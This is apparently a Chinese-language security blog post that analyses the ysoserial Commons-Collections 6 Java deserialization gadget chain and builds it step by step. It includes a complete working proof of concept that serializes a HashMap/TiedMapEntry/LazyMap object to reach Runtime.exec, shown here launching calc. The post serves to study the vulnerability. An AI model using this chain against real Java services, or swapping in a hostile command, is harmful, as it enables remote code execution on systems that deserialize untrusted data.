ysoserial之Commons-Collections6链

发布于 2021-11-05  317 次阅读


ysoserial之Commons-Collections6链

ysoserial中cc6链:


先看一下ysoserial中cc6链的构成,这里也是用的LazyMap中的get方法,前半部分改变了。在cc1链中由于使用的是AnnotationInvocationHandler中的readObject,但是在jdk8中的readObject代码被修改了,导致整条链不能使用了。所以就有了cc6这条链,这个链不受版本的限制。

/*
    Gadget chain:
        java.io.ObjectInputStream.readObject()
            java.util.HashSet.readObject()
                java.util.HashMap.put()
                java.util.HashMap.hash()
                    org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
                    org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
                        org.apache.commons.collections.map.LazyMap.get()
                            org.apache.commons.collections.functors.ChainedTransformer.transform()
                            org.apache.commons.collections.functors.InvokerTransformer.transform()
                            java.lang.reflect.Method.invoke()
                                java.lang.Runtime.exec()
    by @matthias_kaiser
*/

测试环境:

jdk1.7.0_80

commons-collections-3.2.1

cc6链分析:

这里就直接从TiedMapEntry类开始往上分析,先看TiedMapEntry类。作者这里找到了TiedMapEntry中的hashCode方法,对于hashCode方法相信了解过URLDNS链的会比较熟悉。

TiedMapEntryhashCode方法中调用的getvalue方法,并且getvalue方法调用了get方法

public int hashCode() 
    Object value = getValue();
    return (getKey() == null ? 0 : getKey().hashCode()) ^
        (value == null ? 0 : value.hashCode()); 
}
public Object getValue() {
    return map.get(key);
}

由于之前分析过URLDNS,所以这里就直接写了,通过反序列化HashMap时,HashMap在反序列化时会计算keyhashCode

readObject中调用了putForCreate方法,跟进去

image-20211104222348248

image-20211104222452620

hash方法中会调用keyhashCode方法,因此这里的key只要传入TiedMapEntry就能RCE了,到此cc6就分析完毕了。可以看出如果有分析过前面的URLDNS链和CC1链,CC6链就很快分析完了。

image-20211104222541318

下面开始构造构造POC了。

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.util.HashMap;
import java.util.Map;

public class YsoserialCC6 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{new String("calc")})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap<Object, Object> map = new HashMap<>();
        Map<Object, Object> lazyMap = LazyMap.decorate(map, chainedTransformer);

        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "cc");
        Map<Object,Object> hashMap = new HashMap<>();
        hashMap.put(tiedMapEntry,"cc");
//        serialize(hashMap);
//        unserialize("ser.bin");
    }
    public static void serialize(Object obj) throws Exception {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static void unserialize(String Filename) throws Exception {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        ois.readObject();
    }
}

但是在运行这个的时候会发现,计算器在执行put的时候就弹出来了,而且序列化的时候报错,无法往下执行。

跟URLDNS的问题一样,在put的时候也会调用hashCode方法,因此通过反射先将这条链给断掉

HashMap<Object, Object> map = new HashMap<>();
//这里将chainedTransformer赋值为其它的。让链先断了
Map<Object, Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "ccz");
Map<Object,Object> hashMap = new HashMap<>();
hashMap.put(tiedMapEntry,"cc");
Class c = LazyMap.class;
Field factory = c.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazyMap,chainedTransformer);

再跟进put方法,这里的key就是tiedMapEntry。跟进hash,最后会调用tiedMapEntryhashCode方法。

image-20211105151738098

然后进入到get方法,可以看到这里会判断map中有没有key,也就是ccz,没有的话就调用factory.transform(key);,也就是我们要执行的链。再将keyvalue放进map中。因此从这里可以发现一开始map中没有值,因此进入这个if语句。但是反序列化之后再调用这个get方法时,map中就会有这个key了,导师无法进入if调用transform。解决办法就是put完之后remove这个key

image-20211105151940919

hashMap.put(tiedMapEntry,"cc");
lazyMap.remove("ccz");

最终POC:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class YsoserialCC6 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{new String("calc")})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap<Object, Object> map = new HashMap<>();
        //这里将chainedTransformer赋值为其它的。让链先断了
        Map<Object, Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));

        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "ccz");
        Map<Object,Object> hashMap = new HashMap<>();
        hashMap.put(tiedMapEntry,"cc");
        lazyMap.remove("ccz");
        Class c = LazyMap.class;
        Field factory = c.getDeclaredField("factory");
        factory.setAccessible(true);
        factory.set(lazyMap,chainedTransformer);

        serialize(hashMap);
        unserialize("ser.bin");
    }
    public static void serialize(Object obj) throws Exception {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static void unserialize(String Filename) throws Exception {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        ois.readObject();
    }
}

参考链接:

https://www.bilibili.com/video/BV1yP4y1p7N7?spm_id_from=333.999.0.0


沙上有印,光中有影!